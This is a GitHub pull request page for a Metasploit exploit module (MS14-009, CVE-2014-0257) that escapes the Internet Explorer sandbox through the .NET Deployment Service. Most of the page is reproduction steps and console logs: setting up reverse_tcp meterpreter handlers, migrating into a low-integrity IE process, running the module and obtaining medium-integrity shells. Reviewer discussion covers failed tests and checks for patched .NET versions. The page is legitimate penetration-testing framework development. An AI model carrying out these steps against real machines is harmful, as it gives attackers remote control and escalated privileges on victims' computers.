Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Add module for CVE-2014-0257 #3404

Merged
merged 2 commits into from
Jun 26, 2014
Merged

Conversation

jvazquez-r7
Copy link
Contributor

Requirements

rapid7/meterpreter#84
#3402

Verification

Easy verification steps:

  • Install Windows 7 / IE8 (no patches)
  • Run the handler to get a meterpreter session in the target machine
msf > use exploit/multi/handler
msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(handler) > set lhost 172.16.158.1
lhost => 172.16.158.1
msf exploit(handler) > rexploit
[*] Reloading module...

[*] Started reverse handler on 172.16.158.1:4444
[*] Starting the payload handler...
[*] Sending stage (770048 bytes) to 172.16.158.143
[*] Meterpreter session 1 opened (172.16.158.1:4444 -> 172.16.158.143:49843) at 2014-05-29 11:05:22 -0500

  • migrate the session to Low Integrity IE process
meterpreter > migrate 1200
[*] Migrating from 3268 to 1200...
[*] Migration completed successfully.
meterpreter > background
[*] Backgrounding session 1...

  • Use the msf module to escape the sandbox and get a Medium Integrity session
msf exploit(handler) > use exploit/windows/local/ms14_009_ie_dfsvc
msf exploit(ms14_009_ie_dfsvc) > set SRVHOST 172.16.158.1
SRVHOST => 172.16.158.1
msf exploit(ms14_009_ie_dfsvc) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(ms14_009_ie_dfsvc) > set lhost 172.16.158.1
lhost => 172.16.158.1
msf exploit(ms14_009_ie_dfsvc) > set session 1
session => 1
msf exploit(ms14_009_ie_dfsvc) > rexploit
[*] Reloading module...

[*] Started reverse handler on 172.16.158.1:4444
[*] Running module against WIN-RNJ7NBRK9L7
[*] Using URL: http://172.16.158.1:8080/wmcX8qLjCS
[*] Server started.
[*] Loading Exploit Library...
[*] 172.16.158.143   ms14_009_ie_dfsvc - Sending hta...
[*] 172.16.158.143   ms14_009_ie_dfsvc - Sending psh payload...
[*] Sending stage (770048 bytes) to 172.16.158.143
[*] Meterpreter session 2 opened (172.16.158.1:4444 -> 172.16.158.143:49846) at 2014-05-29 11:06:37 -0500
[*] Server stopped.

  • Verify Medium Integrity in the new session
meterpreter > getuid
Server username: WIN-RNJ7NBRK9L7\Juan Vazquez
meterpreter > sysinfo
Computer        : WIN-RNJ7NBRK9L7
OS              : Windows 7 (Build 7601, Service Pack 1).
Architecture    : x86
System Language : en_US
Meterpreter     : x86/win32
meterpreter > pwd
C:\Users\Juan Vazquez\Desktop
meterpreter > mkdir sandbox_bypassed
Creating directory: sandbox_bypassed
meterpreter > ls sandbox_bypassed

Listing: sandbox_bypassed
=========================

Mode             Size  Type  Last modified              Name
----             ----  ----  -------------              ----
40777/rwxrwxrwx  0     dir   2014-05-29 11:07:01 -0500  .
40555/r-xr-xr-x  0     dir   2014-05-29 11:07:01 -0500  ..

meterpreter > exit
[*] Shutting down Meterpreter...

@OJ
Copy link
Contributor

OJ commented May 29, 2014

Just so you know, the repro steps and verifications for this PR actually match the code for #3403, and vice versa. I'm going to fix them up.

@OJ
Copy link
Contributor

OJ commented May 29, 2014

Fixed.

@OJ OJ mentioned this pull request May 29, 2014
5 tasks
@Meatballs1
Copy link
Contributor

Ditto for this, why go via mshta -> web server -> powershell when you could have the DCOM call powershell directly? :)

Extra style points awared to use the reflection to grab all the methods necessary for injection of the shellcode without calling a separate process.

@OJ
Copy link
Contributor

OJ commented May 29, 2014

Struggling to get this one past the Loading Exploit Library... stage:

msf exploit(handler) > exploit

[*] Started reverse handler on 10.1.10.40:8000
[*] Starting the payload handler...
[*] Sending stage (770048 bytes) to 10.1.10.40
[*] Meterpreter session 1 opened (10.1.10.40:8000 -> 10.1.10.40:60300) at 2014-05-30 08:46:33 +1000

meterpreter > migrate 3980
[*] Migrating from 4016 to 3980...
[*] Migration completed successfully.
meterpreter > background
[*] Backgrounding session 1...
msf exploit(handler) > use exploit/windows/local/ms14_009_ie_dfsvc
msf exploit(ms14_009_ie_dfsvc) > set SRVHOST 10.1.10.40
SRVHOST => 10.1.10.40
msf exploit(ms14_009_ie_dfsvc) > set SRVPORT 8888
SRVPORT => 8888
msf exploit(ms14_009_ie_dfsvc) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf exploit(ms14_009_ie_dfsvc) > set LHOST 10.1.10.40
LHOST => 10.1.10.40
msf exploit(ms14_009_ie_dfsvc) > set SESSION 1
SESSION => 1
msf exploit(ms14_009_ie_dfsvc) > rexploit
[*] Reloading module...

[*] Started reverse handler on 10.1.10.40:4444
[*] Running module against WIN-IV7GVO41GAT
[*] Using URL: http://10.1.10.40:8888/kS85mLc1WI
[*] Server started.
[*] Loading Exploit Library...
[*] Server stopped.
msf exploit(ms14_009_ie_dfsvc) >

At the Loading Exploit Library point it seems to hang for a while before having the server stop.

I'm using the same testing approach as I did with #3403, which worked just fine. @jvazquez-r7 am I doing anything stupid?

@jvazquez-r7
Copy link
Contributor Author

@Meatballs1 because the mshta uses to live under the windows system directory, and had the feeling powershell can live in different locations depending on the version. Maybe I'm wrong because I suck on powershell :(. So was a little bit easier to write with mshta because of that. Since its an escape for the browser's sandbox I've the feeling is okey assuming you have output access from the browser.

@jvazquez-r7
Copy link
Contributor Author

@OJ, not really, just retested for jvazquez-r7@ffbcbe8 and worked fine. Maybe you want to increase DELAY just in case....

@OJ
Copy link
Contributor

OJ commented May 29, 2014

@jvazquez-r7 still no dice mate. Increased up to 40 secs and it made no diff. Not sure what's going on there.

@OJ
Copy link
Contributor

OJ commented May 29, 2014

Tried again with the latest change and still doesn't work mate.

@jvazquez-r7
Copy link
Contributor Author

@OJ mmm it's abusing the .NET Deployment Service (dfsvc.exe) policy to bypass the sandbox. It's using the service with .NET 4. Indeed trying to launch C:\Windows\Microsoft.NET\Framework\v4.0.30319\dfsvc.exe Do you mind to check if have .NET 4 installed and, if it's the case, check if the path exists and share feedback here? thanks!

@jvazquez-r7
Copy link
Contributor Author

if it's the reason of the exploit failing in your case, will a check in the ruby module to check for the dfsvc.exe service before launching the exploit :)

@L1ghtn1ng
Copy link
Contributor

@OJ I know the verification says no patches but you can cherry pick that windows update to see if that fixes the issue, if so then as @jvazquez-r7 said he can add a check to make sure it exists which will hopefully stop this issue it is worth trying dont you think?

@jvazquez-r7
Copy link
Contributor Author

@OJ, modified to use check the dfsvc service, and using %windir% instead of static c:\\windows. Hope it was the problem in your environment. The dfsvc service is installed with both .NET 4.0 and 4.5 on my tests. feedback welcome!

@jvazquez-r7
Copy link
Contributor Author

@OJ just retested successfully on Win7 SP1 / IE8 / .NET 4.0 and Win7 SP1 / IE10 / .NET 4.5 (out of date). Let me know if the last changes help, thanks for testing!

@L1ghtn1ng
Copy link
Contributor

I have not actually tested it but was trying to think of ways of resolving oj issue, however if you give me a noobs  guide how to pull this branch and the other required branch I would be happy to

@jvazquez-r7
Copy link
Contributor Author

@L1ghtn1ng you just need to compile meterpreter for windows from this branch: rapid7/meterpreter#84 and use its resulting meterpreter.

@L1ghtn1ng
Copy link
Contributor

Guessing that I would need visual express ? And I have never compiled anything on windows before

@todb-r7 todb-r7 added the module label May 30, 2014
@kernelsmith
Copy link
Contributor

J, you do need VS, but OJ made it super easy after that. Even I can do it. There's a wiki or blog somewhere. When OJ wakes up he can probably link to it. Hit me up, or others, on IRC if u do want to give it a go. I'm kernelsmith on IRC

On May 30, 2014, at 9:39, "J.Townsend" [email protected] wrote:

Guessing that I would need visual express ? And I have never compiled anything on windows before

Reply to this email directly or view it on GitHub.

@L1ghtn1ng
Copy link
Contributor

Thanks Josh I would prefer to give it a whirl when it has landed then take it for a spin and if for any reason it did not work would then get on irc to get help to debug it

@OJ
Copy link
Contributor

OJ commented May 30, 2014

Hey all,

Blog post with video here: http://buffered.io/posts/building-meterpreter-is-easy/
Docs here: https://github.com/rapid7/meterpreter#building---windows

Hit me with questions if you get stuck!

@OJ
Copy link
Contributor

OJ commented May 30, 2014

Hooray, she fails with an error message this time:

msf exploit(ms14_009_ie_dfsvc) > rexploit
[*] Reloading module...

[*] Started reverse handler on 10.1.10.40:5555
[*] Running module against WIN-IV7GVO41GAT
[-] Exploit failed [not-vulnerable]: .NET Deployment Service (dfsvc.exe) not found

@OJ
Copy link
Contributor

OJ commented May 30, 2014

With .NET 4.0 installed I'm now back to the failure scenario that I was having before. It gets to the same line and hangs. I can see that he required exe is running behind the scenes though:

failure

@todb-r7
Copy link

todb-r7 commented May 30, 2014

Added a Meterpreter label.

@Meatballs1
Copy link
Contributor

@OJ Are you installing an old .NET 4 installer or a fresh one? I assume the fresh ones have the fix applied?

@L1ghtn1ng
Copy link
Contributor

@OJ
Copy link
Contributor

OJ commented May 30, 2014

Yeah it's a fresh one so probably has the fix applied. If that's the case can it be part of the check so that the user knows?

@OJ
Copy link
Contributor

OJ commented May 30, 2014

Hooray for snapshots.

OK, I'm lazy and stupid, so can someone please point me at a download for 4.0 or 4.5 that we know is vuln?

@L1ghtn1ng
Copy link
Contributor

@OJ
Copy link
Contributor

OJ commented May 30, 2014

That's the one I just used.

@L1ghtn1ng
Copy link
Contributor

Then the only way I think you will be able to do it to my knowledge is via windows update

@OJ
Copy link
Contributor

OJ commented May 30, 2014

Managed to get it working with the .NET 4.5 installer instead:

msf exploit(ms14_009_ie_dfsvc) > rexploit
[*] Reloading module...

[*] Started reverse handler on 10.1.10.40:5555
[*] Running module against WIN-IV7GVO41GAT
[*] Using URL: http://10.1.10.40:8888/ixa1cJLiebuosh
[*] Server started.
[*] Loading Exploit Library...
[*] 10.1.10.40       ms14_009_ie_dfsvc - Sending hta...
[*] Sending stage (770048 bytes) to 10.1.10.40
[*] Meterpreter session 2 opened (10.1.10.40:5555 -> 10.1.10.40:51345) at 2014-05-31 07:45:23 +1000
[*] Server stopped.

meterpreter > mkdir pwned
Creating directory: pwned
meterpreter > ls

Listing: C:\Users\noob\Desktop
==============================

Mode              Size   Type  Last modified              Name
----              ----   ----  -------------              ----
40555/r-xr-xr-x   0      dir   2014-05-31 07:45:36 +1000  .
40777/rwxrwxrwx   0      dir   2014-05-30 08:21:09 +1000  ..
100666/rw-rw-rw-  282    fil   2014-05-30 08:21:09 +1000  desktop.ini
40777/rwxrwxrwx   0      dir   2014-05-31 07:45:36 +1000  pwned

meterpreter >

@Meatballs1
Copy link
Contributor

@OJ the file versions can probably be extracted from https://support.microsoft.com/kb/2916607

But you need to grab them for each framework version (4.5.1, 4.5, 4, 3.5, 2, 1.1, 1).

I assume mscorlib.dll is the changed file for this fix, some of the KBs listed on that page are for different .NET vulns all patched under MS14-009

@OJ
Copy link
Contributor

OJ commented May 30, 2014

OK so I have it working now. Not sure if you guys agree, but perhaps we should put some file version checks in place as well? Or is that in the "too hard" basket?

@L1ghtn1ng
Copy link
Contributor

I would agree, guessing that the best place would be registry to get this information from?

@jvazquez-r7
Copy link
Contributor Author

okey, so will review the patches and add check for the file versions before going ahead, will work on it along the weekend or maybe on monday! Will update!

btw, a session is a better indicator of vulnerability =)

@OJ
Copy link
Contributor

OJ commented May 31, 2014

Thanks @jvazquez-r7, yeah I agree :) <3 shells.

@jvazquez-r7
Copy link
Contributor Author

Added support to check vulnerable installations of .NET. At the moment checking for vulnerable .NET 4.5 and 4.5.1 installations, which are the versions working with the current exploits. I write down to check older versions of .NET. Probably worths to add support for older .NET versions. But I won't do in this pull request. In the near future I would like to work on the other sandbox bypasses if anyone else does before. Probably will revisit this exploit to check older versions too.

If I've checked correctly patches, now the module should detect correctly if the machine is running a vulnerable .NET installation before proceeding:

.NET 4.5

[*] Started reverse handler on 172.16.158.1:4444
[*] Running module against WIN-9NLUCV0NV9M
[*] Searching .NET Deployment Service (dfsvc.exe)...
[+] .NET Deployment Service from .NET 4.5 found.
[*] Checking if .NET is patched...
[+] .NET looks vulnerable, exploiting...
[*] Using URL: http://172.16.158.1:8080/1sLoVzMe7
[*] Server started.
[*] Loading Exploit Library...
[*] 172.16.158.162   ms14_009_ie_dfsvc - Sending hta...
[*] Sending stage (770048 bytes) to 172.16.158.162
[*] Meterpreter session 17 opened (172.16.158.1:4444 -> 172.16.158.162:49302) at 2014-06-01 20:57:22 -0500

.NET 4.5.1

[*] Searching .NET Deployment Service (dfsvc.exe)...
[+] .NET Deployment Service from .NET 4.5.1 found.
[*] Checking if .NET is patched...
[+] .NET looks vulnerable, exploiting...
[*] Using URL: http://172.16.158.1:8080/xnBLvHc2vRNATb
[*] Server started.
[*] Loading Exploit Library...
[*] 172.16.158.162   ms14_009_ie_dfsvc - Sending hta...
[*] Sending stage (770048 bytes) to 172.16.158.162
[*] Meterpreter session 12 opened (172.16.158.1:4444 -> 172.16.158.162:49683) at 2014-06-01 20:53:27 -0500
[*] Server stopped.


print_status("Searching .NET Deployment Service (dfsvc.exe)...")

unless file_exist?("#{get_env("windir")}\\Microsoft.NET\\Framework\\v4.0.30319\\dfsvc.exe")
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

This should be a check ?

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I didn't like a lot because I plan just to work with .NET 4.5 and 4.5.1 here. But yes, I can add check for .NET 4.5 and 4.5.1 and return Unknown otherwise. Ok, adding.

@wchen-r7 wchen-r7 removed their assignment Jun 2, 2014

mscorlib_version = get_mscorlib_version

unless mscorlib_version < NET_VERSIONS[net_version]["mscorlib"]
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Does this comparison work reliably against a string? I would assume you would want to check against the individual integer values major, minor, build, revision, branch returned by file_version?

@jvazquez-r7
Copy link
Contributor Author

Since it's still open I guess everyone is more comfortable with powershell method directly. See #3403. So switching here to psh too.

max_version.reverse!

i = 0
mscorlib.each do |v|
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

If you are comparing two arrays via [i] then it makes more sense to do:

0.upto(mscorlib.length-1) do |i| 
  if mscorlib[i].to_i < max_version[i].to_i

I'm not 100% confident this logic will work for the full range of file versions but need more to work it out. Currently on site so dont have much time to test!

Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Better to use Gem::Version:

> Gem::Version.new('0.4.1') < Gem::Version.new('0.10.1.2')
=> true

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Cool! thanks @jvennix-r7 using your method! You rock!

@jvazquez-r7
Copy link
Contributor Author

ping @Meatballs1 @OJ, any of you interested on landing it? Any other stopper? thanks!

@wchen-r7
Copy link
Contributor

msf exploit(handler) > run

[*] Started reverse handler on 10.6.0.217:4444 
[*] Starting the payload handler...
[*] Sending stage (769536 bytes) to 10.6.0.167
[*] Meterpreter session 1 opened (10.6.0.217:4444 -> 10.6.0.167:49411) at 2014-06-26 11:40:42 -0500

meterpreter > migrate 1268
[*] Migrating from 1844 to 1268...
[*] Migration completed successfully.
meterpreter > background
[*] Backgrounding session 1...
msf exploit(handler) > use exploit/windows/local/ms14_009_ie_dfsvc 
msf exploit(ms14_009_ie_dfsvc) > set srvhost 10.6.0.217
srvhost => 10.6.0.217
msf exploit(ms14_009_ie_dfsvc) > set lhost 10.6.0.217
lhost => 10.6.0.217
msf exploit(ms14_009_ie_dfsvc) > set session 1
session => 1
msf exploit(ms14_009_ie_dfsvc) > rerun
[*] Reloading module...

[*] Started reverse handler on 10.6.0.217:4444 
[*] Running module against WIN-6NH0Q8CJQVM
[*] Searching .NET Deployment Service (dfsvc.exe)...
[+] .NET Deployment Service from .NET 4.5 found.
[*] Checking if .NET is patched...
[+] .NET looks vulnerable, exploiting...
[*] Loading Exploit Library...
[*] Sending stage (769536 bytes) to 10.6.0.167
[*] Meterpreter session 2 opened (10.6.0.217:4444 -> 10.6.0.167:49412) at 2014-06-26 11:43:17 -0500

meterpreter >

@wchen-r7 wchen-r7 merged commit a081bea into rapid7:master Jun 26, 2014
@jvazquez-r7 jvazquez-r7 deleted the ms14_009_ie_dfsvc branch November 18, 2014 15:52
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Projects
None yet
Development

Successfully merging this pull request may close these issues.

8 participants